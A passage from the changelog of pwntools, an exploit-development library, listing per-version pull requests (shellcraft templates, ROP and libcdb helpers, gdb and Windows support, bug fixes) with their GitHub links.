bytes\n- [#2575][2575] Detect when Terminator is being used as terminal\n- [#2578][2578] Add gnome-terminal, Alacritty, Ttilix for run_in_new_terminal\n- [#2590][2590] Add support for finding corefiles under WSL2\n- [#2496][2496] Add linux ko file search support\n- [#2542][2542] Decode `_IO_*` flags in `FileStructure` member\n- [#2592][2592] pwnlib.config: Fix customization of `context.timeout`\n- [#2608][2608] Abort on `libcdb file libc.so --unstrip` if eu-unstrip is not installed\n- [#2611][2611] Cleanup `pwnlib.lexer` exports and imports\n- [#2610][2610] Fix `log.progress` ignoring `context.log_console`\n- [#2615][2615] tube/process: Fix redirecting stderr to stdout on Windows\n- [#2639][2639] ROP: Remove stdout and argv workaround in ROPgadget invocation\n- [#2630][2630] support `preexec_fn` in `debug()`\n- [#2641][2641] support preexec_args in process\n- [#2646][2646] fix(libcdb-cli): return early if no matched libc found\n- [#2629][2629] Add `terminate()` method to process class that sends SIGTERM\n- [#2643][2643] Refactor getdents.py, add support for SYS_getdents64\n- [#2647][2647] packing: Add `overlap` to overlap structures easily\n- [#2669][2669] asm: try native binutils before fallback architectures\n- [#2673][2673] Add libc module for libc-related functions\n- [#2680][2680] Cleanup Python 2 legacy\n- [#2687][2687] Add (un)pack shorthands for 40-56 bit numbers `u48()`/`p48()`\n- [#2699][2699] Fix `tty` and `raw` arguments in `ssh.process()`\n\n[2677]: https://github.com/Gallopsled/pwntools/pull/2677\n[2675]: https://github.com/Gallopsled/pwntools/pull/2675\n[2652]: https://github.com/Gallopsled/pwntools/pull/2652\n[2638]: https://github.com/Gallopsled/pwntools/pull/2638\n[2627]: https://github.com/Gallopsled/pwntools/pull/2627\n[2598]: https://github.com/Gallopsled/pwntools/pull/2598\n[2419]: https://github.com/Gallopsled/pwntools/pull/2419\n[2551]: https://github.com/Gallopsled/pwntools/pull/2551\n[2519]: https://github.com/Gallopsled/pwntools/pull/2519\n[2507]: https://github.com/Gallopsled/pwntools/pull/2507\n[2522]: https://github.com/Gallopsled/pwntools/pull/2522\n[2524]: https://github.com/Gallopsled/pwntools/pull/2524\n[2526]: https://github.com/Gallopsled/pwntools/pull/2526\n[2517]: https://github.com/Gallopsled/pwntools/pull/2517\n[2530]: https://github.com/Gallopsled/pwntools/pull/2530\n[2529]: https://github.com/Gallopsled/pwntools/pull/2529\n[2506]: https://github.com/Gallopsled/pwntools/pull/2506\n[2504]: https://github.com/Gallopsled/pwntools/pull/2504\n[2546]: https://github.com/Gallopsled/pwntools/pull/2546\n[2538]: https://github.com/Gallopsled/pwntools/pull/2538\n[2574]: https://github.com/Gallopsled/pwntools/pull/2574\n[2575]: https://github.com/Gallopsled/pwntools/pull/2575\n[2578]: https://github.com/Gallopsled/pwntools/pull/2578\n[2590]: https://github.com/Gallopsled/pwntools/pull/2590\n[2496]: https://github.com/Gallopsled/pwntools/pull/2496\n[2542]: https://github.com/Gallopsled/pwntools/pull/2542\n[2592]: https://github.com/Gallopsled/pwntools/pull/2592\n[2608]: https://github.com/Gallopsled/pwntools/pull/2608\n[2611]: https://github.com/Gallopsled/pwntools/pull/2611\n[2610]: https://github.com/Gallopsled/pwntools/pull/2610\n[2615]: https://github.com/Gallopsled/pwntools/pull/2615\n[2639]: https://github.com/Gallopsled/pwntools/pull/2639\n[2630]: https://github.com/Gallopsled/pwntools/pull/2630\n[2641]: https://github.com/Gallopsled/pwntools/pull/2641\n[2646]: https://github.com/Gallopsled/pwntools/pull/2646\n[2629]: https://github.com/Gallopsled/pwntools/pull/2629\n[2643]: https://github.com/Gallopsled/pwntools/pull/2643\n[2647]: https://github.com/Gallopsled/pwntools/pull/2647\n[2669]: https://github.com/Gallopsled/pwntools/pull/2669\n[2673]: https://github.com/Gallopsled/pwntools/pull/2673\n[2680]: https://github.com/Gallopsled/pwntools/pull/2680\n[2687]: https://github.com/Gallopsled/pwntools/pull/2687\n[2699]: https://github.com/Gallopsled/pwntools/pull/2699\n\n## 4.15.0 (`stable`)\n\n- [#2508][2508] Ignore a warning when compiling with asm on nix\n- [#2471][2471] Properly close spawned kitty window\n- [#2358][2358] Cache output of `asm()`\n- [#2457][2457] Catch exception of non-ELF files in checksec.\n- [#2444][2444] Add `ELF.close()` to release resources\n- [#2413][2413] libcdb: improve the search speed of `search_by_symbol_offsets` in local libc-database\n- [#2470][2470] Fix waiting for gdb under WSL2\n- [#2479][2479] Support extracting libraries from Docker image in `pwn template`\n- [#2483][2483] Only print `checksec` output of `ELF.libc` when it was printed for the `ELF` already\n- [#2482][2482] Throw error when using `sni` and setting `server_hostname` manually in `remote`\n- [#2478][2478] libcdb-cli: add `--offline-only`, refactor unstrip and add fetch parser for download libc-database\n- [#2484][2484] Allow to disable caching\n- [#2291][2291] Fix attaching to a gdbserver with tuple `gdb.attach(('0.0.0.0',12345))`\n- [#2410][2410] Add `tube.upload_manually` to upload files in chunks\n- [#2502][2502] Fix loading ELF files without valid .dynamic section\n- [#2476][2476] Deprecate 'keepends' argument in favor of 'drop' in `tube.recvline*`\n- [#2364][2364] Deprecate direct commandline scripts invocation and exclude nonsense ones\n- [#2570][2570] Fix `pwn template` to skip Docker library extraction for statically linked binaries\n- [#2545][2545] SSH: fix download/upload with -1 exit status\n- [#2567][2567] Fix mistakenly parsing of ld-linux error messages.\n- [#2576][2576] regsort: respect register aliases\n- [#2595][2595] libcdb: Add Ubuntu and Debian debuginfod servers to default list\n- [#2593][2593] Use unicorn on macOS w/ SIP enabled\n- [#2587][2587] Support longer function names in Windows `getexport` shellcode\n- [#2596][2596] Ignore `colored_traceback` error when TERM envvar is unset\n- [#2579][2579] Fix poll error in `process.libs()` and clean up maps parsing\n- [#2602][2602] Allow setting debugger path via context.gdb_binary\n- [#2609][2609] Fix log level of child remotes of `server` tube\n- [#2612][2612] Fix lookup of binutils for `mipsel` architecture\n- [#2624][2624] Fix regression: gdbserver can't handle command-line argument containing whitespace\n\n[2508]: https://github.com/Gallopsled/pwntools/pull/2508\n[2471]: https://github.com/Gallopsled/pwntools/pull/2471\n[2358]: https://github.com/Gallopsled/pwntools/pull/2358\n[2457]: https://github.com/Gallopsled/pwntools/pull/2457\n[2444]: https://github.com/Gallopsled/pwntools/pull/2444\n[2413]: https://github.com/Gallopsled/pwntools/pull/2413\n[2470]: https://github.com/Gallopsled/pwntools/pull/2470\n[2479]: https://github.com/Gallopsled/pwntools/pull/2479\n[2483]: https://github.com/Gallopsled/pwntools/pull/2483\n[2482]: https://github.com/Gallopsled/pwntools/pull/2482\n[2478]: https://github.com/Gallopsled/pwntools/pull/2478\n[2484]: https://github.com/Gallopsled/pwntools/pull/2484\n[2291]: https://github.com/Gallopsled/pwntools/pull/2291\n[2410]: https://github.com/Gallopsled/pwntools/pull/2410\n[2502]: https://github.com/Gallopsled/pwntools/pull/2502\n[2476]: https://github.com/Gallopsled/pwntools/pull/2476\n[2364]: https://github.com/Gallopsled/pwntools/pull/2364\n[2570]: https://github.com/Gallopsled/pwntools/pull/2570\n[2545]: https://github.com/Gallopsled/pwntools/pull/2545\n[2567]: https://github.com/Gallopsled/pwntools/pull/2567\n[2576]: https://github.com/Gallopsled/pwntools/pull/2576\n[2595]: https://github.com/Gallopsled/pwntools/pull/2595\n[2593]: https://github.com/Gallopsled/pwntools/pull/2593\n[2587]: https://github.com/Gallopsled/pwntools/pull/2587\n[2596]: https://github.com/Gallopsled/pwntools/pull/2596\n[2579]: https://github.com/Gallopsled/pwntools/pull/2579\n[2602]: https://github.com/Gallopsled/pwntools/pull/2602\n[2609]: https://github.com/Gallopsled/pwntools/pull/2609\n[2612]: https://github.com/Gallopsled/pwntools/pull/2612\n[2624]: https://github.com/Gallopsled/pwntools/pull/2624\n\n## 4.14.1 (`stable`)\n\n- [#2451][2451] Show symbols defined to value 0 (start of file)\n- [#2533][2533] Fix installation on Python 3.5 and lower\n- [#2518][2518] fix: update apport coredump path handling for CorefileFinder\n- [#2552][2552] Fix memcpy shellcraft template off-by-one\n- [#2559][2559] Fix parsing corefile with missing auxv\n- [#2562][2562] Fix syntax highlighting of multiline comments in ASM\n- [#2565][2565] Exclude broken Unicorn\n\n[2451]: https://github.com/Gallopsled/pwntools/pull/2451\n[2533]: https://github.com/Gallopsled/pwntools/pull/2533\n[2518]: https://github.com/Gallopsled/pwntools/pull/2518\n[2552]: https://github.com/Gallopsled/pwntools/pull/2552\n[2559]: https://github.com/Gallopsled/pwntools/pull/2559\n[2562]: https://github.com/Gallopsled/pwntools/pull/2562\n[2565]: https://github.com/Gallopsled/pwntools/pull/2565\n\n## 4.14.0\n\n- [#2356][2356] Add local libc database provider for libcdb\n- [#2360][2360] Add offline parameter for `search_by_hash` series function\n- [#2388][2388] libcdb: add `offline_only` to `search_by_symbol_offsets`\n- [#2374][2374] libcdb.unstrip_libc: debug symbols are fetched only if not present\n- [#2327][2327] Add basic support to debug processes on Windows\n- [#2437][2437] Support asm/disasm on Windows\n- [#2330][2330] Change `context.newline` when setting `context.os` to `\"windows\"`\n- [#2322][2322] Add basic RISCV64 shellcraft support\n- [#2376][2376] Return buffered data on first EOF in tube.readline()\n- [#2371][2371] Add functions for retrieving process mappings\n- [#2398][2398] Add support for generating multiple shellcodes at a time in shellcraft\n- [#2389][2389] Fix passing bytes to `context.log_file` and `crc.BitPolynom`\n- [#2391][2391] Fix error message when passing invalid kwargs to `xor`\n- [#2387][2387] Convert apport_corefile() output from bytes-like object to string\n- [#2415][2415] Add shellcraft template for IPv6 socket\n- [#2405][2405] Add \"none\" ssh authentication method\n- [#2427][2427] Document behaviour of remote()'s sni argument as string.\n- [#2382][2382] added optional port, gdb_args and gdbserver_args parameters to gdb.debug()\n- [#2435][2435] Speed up gdbserver handshake in gdb.debug()\n- [#2436][2436] Add resolution_addr parameter to Ret2dlresolvePayload\n- [#2497][2497] Fix remote.fromsocket() to handle AF_INET6 socket\n\n[2436]: https://github.com/Gallopsled/pwntools/pull/2436\n[2371]: https://github.com/Gallopsled/pwntools/pull/2371\n[2360]: https://github.com/Gallopsled/pwntools/pull/2360\n[2356]: https://github.com/Gallopsled/pwntools/pull/2356\n[2374]: https://github.com/Gallopsled/pwntools/pull/2374\n[2327]: https://github.com/Gallopsled/pwntools/pull/2327\n[2322]: https://github.com/Gallopsled/pwntools/pull/2322\n[2330]: https://github.com/Gallopsled/pwntools/pull/2330\n[2389]: https://github.com/Gallopsled/pwntools/pull/2389\n[2391]: https://github.com/Gallopsled/pwntools/pull/2391\n[2376]: https://github.com/Gallopsled/pwntools/pull/2376\n[2387]: https://github.com/Gallopsled/pwntools/pull/2387\n[2388]: https://github.com/Gallopsled/pwntools/pull/2388\n[2398]: https://github.com/Gallopsled/pwntools/pull/2398\n[2415]: https://github.com/Gallopsled/pwntools/pull/2415\n[2405]: https://github.com/Gallopsled/pwntools/pull/2405\n[2427]: https://github.com/Gallopsled/pwntools/pull/2405\n[2382]: https://github.com/Gallopsled/pwntools/pull/2382\n[2435]: https://github.com/Gallopsled/pwntools/pull/2435\n[2437]: https://github.com/Gallopsled/pwntools/pull/2437\n[2497]: https://github.com/Gallopsled/pwntools/pull/2497\n\n## 4.13.1\n\n- [#2445][2445] Fix parsing the PLT on Windows\n- [#2466][2466] Fix PLT emulation with Unicorn 2.1.0\n- [#2466][2466] Switch to PyPi Simple API for update checks\n- [#2467][2467] Fix loading at all on Windows\n- [#2469][2469] GDB 15+ rpyc detection\n\n[2445]: https://github.com/Gallopsled/pwntools/pull/2445\n[2466]: https://github.com/Gallopsled/pwntools/pull/2466\n[2467]: https://github.com/Gallopsled/pwntools/pull/2467\n[2469]: https://github.com/Gallopsled/pwntools/pull/2469\n\n## 4.13.0\n\n- [#2242][2242] Term module revamp: activating special handling of terminal only when necessary\n- [#2277][2277] elf: Resolve more relocations into GOT entries\n- [#2281][2281] FIX: Getting right amount of data for search fix\n- [#2293][2293] Add x86 CET status to checksec output\n- [#1763][1763] Allow to add to the existing environment in `process` instead of replacing it\n- [#2307][2307] Fix `pwn libcdb file` crashing if \"/bin/sh\" string was not found\n- [#2309][2309] Detect challenge binary and libc in `pwn template`\n- [#2308][2308] Fix WinExec shellcraft to make sure it's 16 byte aligned\n- [#2279][2279] Make `pwn template` always set context.binary\n- [#2310][2310] Add support to start a process on Windows\n- [#2335][2335] Add lookup optimizations in DynELF\n- [#2334][2334] Speed up disasm commandline tool with colored output\n- [#2328][2328] Lookup using $PATHEXT file extensions in `which` on Windows\n- [#2189][2189] Explicitly define p64/u64 functions for IDE support\n- [#2339][2339] Fix: Allow setting attributes on gdb Breakpoints\n- [#2323][2323] Retry failed lookups after one week in libcdb\n- [#2325][2325] Match against local system libc first in libcdb\n- [#2336][2336] Add `ELF.stripped` and `ELF.debuginfo` properties\n- [#2161][2161] Add basic support for darwin shellcraft/asm/disasm/run_shellcode/run_assembly\n- [#2161][2161] Fix freebsd amd64 SyscallABI\n- [#2160][2161] Fix invalid shellcraft.mov on arm64\n- [#2284][2161] Fix invalid shellcraft.pushstr_array on arm64\n- [#2345][2345] Fix pwn constgrep when it matches a non-constant type\n- [#2338][2338] Fix: follow symlink for libs on ssh connection\n- [#2341][2341] Launch GDB correctly in iTerm on Mac\n- [#2268][2268] Add a `flatten` argument to `ssh.libs`\n- [#2347][2347] Fix/workaround Unicorn Engine 1GB limit that calls exit()\n- [#2233][2233] Fix gdb.debug: exe parameter now respected, allow empty argv\n- [#2373][2373] Fix displaying bright color variation in terminal output\n- [#2378][2378] Don't go though a shell in `gdb.debug`\n\n[2242]: https://github.com/Gallopsled/pwntools/pull/2242\n[2277]: https://github.com/Gallopsled/pwntools/pull/2277\n[2281]: https://github.com/Gallopsled/pwntools/pull/2281\n[2293]: https://github.com/Gallopsled/pwntools/pull/2293\n[1763]: https://github.com/Gallopsled/pwntools/pull/1763\n[2307]: https://github.com/Gallopsled/pwntools/pull/2307\n[2309]: https://github.com/Gallopsled/pwntools/pull/2309\n[2308]: https://github.com/Gallopsled/pwntools/pull/2308\n[2279]: https://github.com/Gallopsled/pwntools/pull/2279\n[2310]: https://github.com/Gallopsled/pwntools/pull/2310\n[2335]: https://github.com/Gallopsled/pwntools/pull/2335\n[2334]: https://github.com/Gallopsled/pwntools/pull/2334\n[2328]: https://github.com/Gallopsled/pwntools/pull/2328\n[2189]: https://github.com/Gallopsled/pwntools/pull/2189\n[2339]: https://github.com/Gallopsled/pwntools/pull/2339\n[2323]: https://github.com/Gallopsled/pwntools/pull/2323\n[2325]: https://github.com/Gallopsled/pwntools/pull/2325\n[2336]: https://github.com/Gallopsled/pwntools/pull/2336\n[2161]: https://github.com/Gallopsled/pwntools/pull/2161\n[2345]: https://github.com/Gallopsled/pwntools/pull/2345\n[2338]: https://github.com/Gallopsled/pwntools/pull/2338\n[2341]: https://github.com/Gallopsled/pwntools/pull/2341\n[2268]: https://github.com/Gallopsled/pwntools/pull/2268\n[2347]: https://github.com/Gallopsled/pwntools/pull/2347\n[2233]: https://github.com/Gallopsled/pwntools/pull/2233\n[2373]: https://github.com/Gallopsled/pwntools/pull/2373\n[2378]: https://github.com/Gallopsled/pwntools/pull/2378\n\n## 4.12.0\n\n- [#2202][2202] Fix `remote` and `listen` in sagemath\n- [#2117][2117] Add -p (--prefix) and -s (--separator) arguments to `hex` command\n- [#2221][2221] Add shellcraft.sleep template wrapping SYS_nanosleep\n- [#2219][2219] Fix passing arguments on the stack in shellcraft syscall template\n- [#2212][2212] Add `--libc libc.so` argument to `pwn template` command\n- [#2257][2257] Allow creation of custom templates for `pwn template` command\n- [#2225][2225] Allow empty argv in ssh.process()\n- [#2349][2349] Fix term.readline omitting a trailing \\n\n- [#2352][2352] add `RETURN_CONST` as an allowed `_const_code` in safeeval\n\n[2202]: https://github.com/Gallopsled/pwntools/pull/2202\n[2117]: https://github.com/Gallopsled/pwntools/pull/2117\n[2221]: https://github.com/Gallopsled/pwntools/pull/2221\n[2219]: https://github.com/Gallopsled/pwntools/pull/2219\n[2212]: https://github.com/Gallopsled/pwntools/pull/2212\n[2257]: https://github.com/Gallopsled/pwntools/pull/2257\n[2225]: https://github.com/Gallopsled/pwntools/pull/2225\n[2349]: https://github.com/Gallopsled/pwntools/pull/2349\n[2352]: https://github.com/Gallopsled/pwntools/pull/2352\n\n## 4.11.1\n\n- [#2271][2271] FIX: Generated shebang with path to python invalid if path contains spaces\n- [#2272][2272] Fix `tube.clean_and_log` not logging buffered data\n- [#2281][2281] FIX: Getting right amount of data for search fix\n- [#2287][2287] Fix `_countdown_handler` not invoking `timeout_change`\n- [#2294][2294] Fix atexit SEGV in aarch64 loader\n\n[2271]: https://github.com/Gallopsled/pwntools/pull/2271\n[2272]: https://github.com/Gallopsled/pwntools/pull/2272\n[2281]: https://github.com/Gallopsled/pwntools/pull/2281\n[2287]: https://github.com/Gallopsled/pwntools/pull/2287\n[2294]: https://github.com/Gallopsled/pwntools/pull/2294\n\n## 4.11.0\n\n- [#2185][2185] make fmtstr module able to create payload without $ notation\n- [#2103][2103] Add search for libc binary by leaked function addresses `libcdb.search_by_symbol_offsets()`\n- [#2177][2177] Support for RISC-V 64-bit architecture\n- [#2186][2186] Enhance `ELF.nx` and `ELF.execstack`\n- [#2129][2129] Handle `context.newline` correctly when typing in `tube.interactive()`\n- [#2214][2214] Fix bug at ssh.py:`download` and `download_file` with relative paths\n- [#2241][2241] Fix ssh.process not setting ssh_process.cwd attribute\n- [#2261][2261] Fix corefile module after pyelftools update\n\n[2185]: https://github.com/Gallopsled/pwntools/pull/2185\n[2103]: https://github.com/Gallopsled/pwntools/pull/2103\n[2177]: https://github.com/Gallopsled/pwntools/pull/2177\n[2186]: https://github.com/Gallopsled/pwntools/pull/2186\n[2129]: https://github.com/Gallopsled/pwntools/pull/2129\n[2214]: https://github.com/Gallopsled/pwntools/pull/2214\n[2241]: https://github.com/Gallopsled/pwntools/pull/2241\n[2261]: https://github.com/Gallopsled/pwntools/pull/2261\n\n## 4.10.0\n\nIn memoriam — [Zach Riggle][zach] — long time contributor and maintainer of Pwntools.\n\n- [#2062][2062] make pwn cyclic -l work with entry larger than 4 bytes\n- [#2092][2092] shellcraft: dup() is now called dupio() consistently across all supported arches\n- [#2093][2093] setresuid() in shellcraft uses current euid by default\n- [#2125][2125] Allow tube.recvregex to return capture groups\n- [#2144][2144] Removes `p2align 2` `asm()` headers from `x86-32`, `x86-64` and `mips` architectures to avoid inconsistent instruction length when patching binaries\n\n[2062]: https://github.com/Gallopsled/pwntools/pull/2062\n[2092]: https://github.com/Gallopsled/pwntools/pull/2092\n[2093]: https://github.com/Gallopsled/pwntools/pull/2093\n[2125]: https://github.com/Gallopsled/pwntools/pull/2125\n[2144]: https://github.com/Gallopsled/pwntools/pull/2144\n[zach]: https://github.com/zachriggle\n\n## 4.9.0\n\n- [#1975][1975] Add libcdb commandline tool\n- [#1979][1979] Add `js_escape()` and `js_unescape()` to `util.fiddling`\n- [#2011][2011] Fix tube's debug output of same byte compression\n- [#2023][2023] Support KDE Konsole in run_in_new_terminal function\n- [#2027][2027] Fix ELF.libc_start_main_return with glibc 2.34\n- [#2033][2033] Quote file and core path in generated GDB script\n- [#2035][2035] Change Buffer's parent class to object\n- [#2037][2037] Allow SSH tunnel to be treated like a TCP socket (with 'raw=True')\n- [#2123][2123] Fix ROP without a writeable cache directory\n- [#2124][2124] Fix `tube.recvpred()` timeout argument\n\n[1975]: https://github.com/Gallopsled/pwntools/pull/1975\n[1979]: https://github.com/Gallopsled/pwntools/pull/1979\n[2011]: https://github.com/Gallopsled/pwntools/pull/2011\n[2023]: https://github.com/Gallopsled/pwntools/pull/2023\n[2027]: https://github.com/Gallopsled/pwntools/pull/2027\n[2033]: https://github.com/Gallopsled/pwntools/pull/2033\n[2035]: https://github.com/Gallopsled/pwntools/pull/2035\n[2037]: https://github.com/Gallopsled/pwntools/pull/2037\n[2123]: https://github.com/Gallopsled/pwntools/pull/2123\n[2124]: https://github.com/Gallopsled/pwntools/pull/2124\n\n## 4.8.0\n\n- [#1922][1922] Fix logic in `wait_for_debugger`\n- [#1828][1828] libcdb: Load debug info and unstrip libc binary\n- [#1939][1939] Fix error in validating log levels\n- [#1981][1981] Fix `cyclic_find()` to make it work with large int values\n\n[1922]: https://github.com/Gallopsled/pwntools/pull/1922\n[1828]: https://github.com/Gallopsled/pwntools/pull/1828\n[1939]: https://github.com/Gallopsled/pwntools/pull/1939\n[1981]: https://github.com/Gallopsled/pwntools/pull/1981\n\n## 4.7.1\n\n- [#1784][1784] Use temporary cache directory when persistent cache cannot be used\n- [#1973][1973] ELF symbols can be looked up by bytes values\n- several bugfixes ([#2012][2012], [#2031][2031], [#1912][1912], [#1961][1961],\n[#2007][2007], [#2040][2040], [#2051][2051])\n\n[1784]: https://github.com/Gallopsled/pwntools/pull/1784\n[1912]: https://github.com/Gallopsled/pwntools/pull/1912\n[1961]: https://github.com/Gallopsled/pwntools/pull/1961\n[1973]: https://github.com/Gallopsled/pwntools/pull/1973\n[2007]: https://github.com/Gallopsled/pwntools/pull/2007\n[2012]: https://github.com/Gallopsled/pwntools/pull/2012\n[2031]: https://github.com/Gallopsled/pwntools/pull/2031\n[2040]: https://github.com/Gallopsled/pwntools/pull/2040\n[2051]: https://github.com/Gallopsled/pwntools/pull/2051\n\n## 4.7.0\n\n- [#1733][1733] Update libc headers -> more syscalls available!\n- [#1876][1876] add `self.message` and change `sys.exc_type` to `sys.exec_info()` in PwnlibException\n- [#1877][1877] encoders error message handles when `avoid` is bytes in python3\n- [#1891][1891] Keep ROP gadgets when setting registers via setattr/call\n- [#1892][1892] Silence SIGPIPE error for \"pwn phd\"\n- [#1893][1893] Fix bytes warning in \"pwn cyclic\"\n- [#1897][1897] Add basic support for RISC-V\n- [#1903][1903] Add zsh completion script\n- [#1904][1904] Add bash completion script\n- [#1906][1906] Defer import of several modules to save on startup time\n- [#1921][1921] Add basic support for the bare-metal ARM specific toolchain\n- [#1995][1995] Add `shellcraft.*.linux.cat2`, which uses alloc+read+write instead of sendfile\n\n[1733]: https://github.com/Gallopsled/pwntools/pull/1733\n[1876]: https://github.com/Gallopsled/pwntools/pull/1876\n[1877]: https://github.com/Gallopsled/pwntools/pull/1877\n[1891]: https://github.com/Gallopsled/pwntools/pull/1891\n[1892]: https://github.com/Gallopsled/pwntools/pull/1892\n[1893]: https://github.com/Gallopsled/pwntools/pull/1893\n[1897]: https://github.com/Gallopsled/pwntools/pull/1897\n[1903]: https://github.com/Gallopsled/pwntools/pull/1903\n[1904]: https://github.com/Gallopsled/pwntools/pull/1904\n[1906]: https://github.com/Gallopsled/pwntools/pull/1906\n[1921]: https://github.com/Gallopsled/pwntools/pull/1921\n[1995]: https://github.com/Gallopsled/pwntools/pull/1995\n\n## 4.6.0\n\n- [#1429][1429] Add a mechanism for ret2csu (originally #1138)\n- [#1566][1566] Add `ignore_config` argument to `pwnlib.tubes.ssh` and improve `allow_agent` implementation\n- [#1652][1652] Add `process.readmem` and `process.writemem`\n- [#1739][1739] Add/fix shellcraft.linux.kill() / shellcraft.linux.killparent()\n- [#1746][1746] Prefer Python3 over Python2 for spawning remote processes over SSH\n- [#1751][1751] Fix process() with executable relative to cwd\n- [#1753][1753] major change: less unconditional imports in pwnlib\n- [#1776][1776] mips: do not use $t0 temporary variable in dupio\n- [#1846][1846] support launching GDB in more different terminals\n\n[1429]: https://github.com/Gallopsled/pwntools/pull/1429\n[1566]: https://github.com/Gallopsled/pwntools/pull/1566\n[1652]: https://github.com/Gallopsled/pwntools/pull/1652\n[1739]: https://github.com/Gallopsled/pwntools/pull/1739\n[1746]: https://github.com/Gallopsled/pwntools/pull/1746\n[1751]: https://github.com/Gallopsled/pwntools/pull/1751\n[1753]: https://github.com/Gallopsled/pwntools/pull/1753\n[1776]: https://github.com/Gallopsled/pwntools/pull/1776\n[1846]: https://github.com/Gallopsled/pwntools/pull/1846\n\n## 4.5.1\n\n- [#1902][1902] Always specify -F and -P for tmux in `run_in_new_terminal`\n\n[1902]: https://github.com/Gallopsled/pwntools/pull/1902\n\n## 4.5.0\n\n- [#1261][1261] Misc `run_in_new_terminal` improvements (notably gdb terminated by default)\n- [#1695][1695] Allow using GDB Python API\n- [#1735][1735] Python 3.9 support in safeeval\n- [#1738][1738] Which function support custom search path\n  - process also looks now at `env['PATH']` to find the path for the executable\n- [#1742][1742] New `baremetal` os to debug binaries executed with qemu-system-$(arch)\n- [#1757][1757] update cache directories\n- [#1758][1758] Remove eval from cli\n- [#1780][1780] Re-add Python2 to the official Dockerfile\n- [#1941][1941] Disable all Android tests, `pwnlib.adb` is no longer supported in CI\n- [#1811][1811] Remove unnecessary `pwn.toplevel.__all__`\n- [#1827][1827] Support `$XDG_CONFIG_HOME` dir for `pwn.conf`\n- [#1841][1841] Add colored_traceback\n- [#1839][1839] run_in_new_terminal now creates a runner script if given a list or tuple\n- [#1833][1833] Add pwnlib.filesystem module\n- [#1852][1852] Fix `atexit` on Python 3\n- [#1883][1883] ROP gadget verifier accounts for 2 character registers\n\n[1261]: https://github.com/Gallopsled/pwntools/pull/1261\n[1695]: https://github.com/Gallopsled/pwntools/pull/1695\n[1735]: https://github.com/Gallopsled/pwntools/pull/1735\n[1738]: https://github.com/Gallopsled/pwntools/pull/1738\n[1742]: https://github.com/Gallopsled/pwntools/pull/1742\n[1757]: https://github.com/Gallopsled/pwntools/pull/1757\n[1758]: https://github.com/Gallopsled/pwntools/pull/1758\n[1780]: https://github.com/Gallopsled/pwntools/pull/1780\n[1941]: https://github.com/Gallopsled/pwntools/pull/1941\n[1811]: https://github.com/Gallopsled/pwntools/pull/1811\n[1827]: https://github.com/Gallopsled/pwntools/pull/1827\n[1841]: https://github.com/Gallopsled/pwntools/pull/1841\n[1839]: https://github.com/Gallopsled/pwntools/pull/1839\n[1833]:  https://github.com/Gallopsled/pwntools/pull/1833\n[1852]: https://github.com/Gallopsled/pwntools/pull/1852\n[1883]: https://github.com/Gallopsled/pwntools/pull/1883\n\n## 4.4.0\n\n- [#1541][1541] Use `context.newline` for tubes by default\n- [#1602][1602] Fix bytes handling in ssh tubes\n- [#1606][1606] Fix `asm()` and `disasm()` for MSP430, S390\n- [#1616][1616] Fix `cyclic` cli for 64 bit integers\n- [#1632][1632] Enable usage of Pwntools in jupyter\n- [#1633][1633] Open a shell if `pwn template` cannot download the remote file\n- [#1644][1644] Enable and support SNI for SSL-wrapped tubes\n- [#1651][1651] Make `pwn shellcraft` faster\n- [#1654][1654] Docker images (`pwntools/pwntools:stable` etc) now use Python3 by default, and includes assemblers for a few common architectures\n- [#1667][1667] Add i386 encoder `ascii_shellcode` (Fixed docs in #1693)\n- Fix syscall instruction lists for SROP on `i386` and `amd64`\n- Fix migration to another ROP\n- [#1673][1673] Add `base=` argument to `ROP.chain()` and `ROP.dump()`\n- [#1675][1675] Gdbserver now correctly accepts multiple libraries in `LD_PRELOAD` and `LD_LIBRARY_PATH`\n- [#1678][1678] ROPGadget multibr\n- [#1682][1682] ROPGadget multibr fix\n- [#1687][1687] Actually import `requests` when doing `from pwn import *`\n- [#1688][1688] Add `__setattr__` and `__call__` interfaces to `ROP` for setting registers\n- [#1692][1692] Remove python2 shebangs where appropriate\n- [#1703][1703] Update libcdb buildid offsets for amd64 and i386\n- [#1704][1704] Try https://libc.rip/ for libcdb lookup\n\n[1541]: https://github.com/Gallopsled/pwntools/pull/1541\n[1602]: https://github.com/Gallopsled/pwntools/pull/1602\n[1606]: https://github.com/Gallopsled/pwntools/pull/1606\n[1616]: https://github.com/Gallopsled/pwntools/pull/1616\n[1632]: https://github.com/Gallopsled/pwntools/pull/1632\n[1633]: https://github.com/Gallopsled/pwntools/pull/1633\n[1644]: https://github.com/Gallopsled/pwntools/pull/1644\n[1651]: https://github.com/Gallopsled/pwntools/pull/1651\n[1654]: https://github.com/Gallopsled/pwntools/pull/1654\n[1667]: https://github.com/Gallopsled/pwntools/pull/1667\n[1673]: https://github.com/Gallopsled/pwntools/pull/1673\n[1675]: https://github.com/Gallopsled/pwntools/pull/1675\n[1678]: https://github.com/Gallopsled/pwntools/pull/1678\n[1682]: https://github.com/Gallopsled/pwntools/pull/1679\n[1687]: https://github.com/Gallopsled/pwntools/pull/1687\n[1688]: https://github.com/Gallopsled/pwntools/pull/1688\n[1692]: https://github.com/Gallopsled/pwntools/pull/1692\n[1703]: https://github.com/Gallopsled/pwntools/pull/1703\n[1704]: https://github.com/Gallopsled/pwntools/pull/1704\n\n## 4.3.1\n\n- [#1732][1732] Fix shellcraft SSTI vulnerability (first major pwntools vuln!)\n\n[1732]: https://github.com/Gallopsled/pwntools/pull/1732\n\n## 4.3.0\n\n- [#1576][1576] Add `executable=` argument to `ELF.search`\n- [#1584][1584] Add `jmp_esp`/`jmp_rsp` attribute to `ROP`\n- [#1592][1592] Fix over-verbose logging of process() environment\n- [#1593][1593] Colorize output of `pwn template`\n- [#1601][1601] Add `pwn version` command line tool\n- [#1605][1605] Add to `fiddling.hexdump` a way to suppress the total at the end\n- [#1613][1613] Permit `--password` for `pwn template`\n- [#1616][1616] Fix `cyclic` cli for 64 bit integers\n- [#1564][1564] Fix `asm()` and `disasm()` for PowerPC64, MIPS64, Sparc64\n- [#1621][1621] Permit negative values in flat() and fit()\n\n[1576]: https://github.com/Gallopsled/pwntools/pull/1576\n[1584]: https://github.com/Gallopsled/pwntools/pull/1584\n[1592]: https://github.com/Gallopsled/pwntools/pull/1592\n[1593]: https://github.com/Gallopsled/pwntools/pull/1593\n[1601]: https://github.com/Gallopsled/pwntools/pull/1601\n[1605]: https://github.com/Gallopsled/pwntools/pull/1605\n[1613]: https://github.com/Gallopsled/pwntools/pull/1613\n[1616]: https://github.com/Gallopsled/pwntools/pull/1616\n[1564]: https://github.com/Gallopsled/pwntools/pull/1564\n[1621]: 